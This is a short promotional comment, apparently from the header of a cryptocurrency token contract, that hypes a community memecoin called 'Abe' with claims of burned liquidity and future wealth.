 *
 * Abe is a safe haven for all.
 *
 * A token with no team, no dev, no tax, no temporary meme trend name, no expectations past what
 * YOU (the community) bring to the table.
 *
 * Abe represents the lost memories of a time when community was truly all that was needed for
 * generations of riches to be created.
 *
 * Liquidity has been burned upon creation, 50% of supply has been burned, there is no official
 * telegram logo, or anything past the Abe contract itself.
 *
 * It is up to YOU, the individual, to bring glory and wealth back to the Abe name.
 *
 * All hail the Abe.
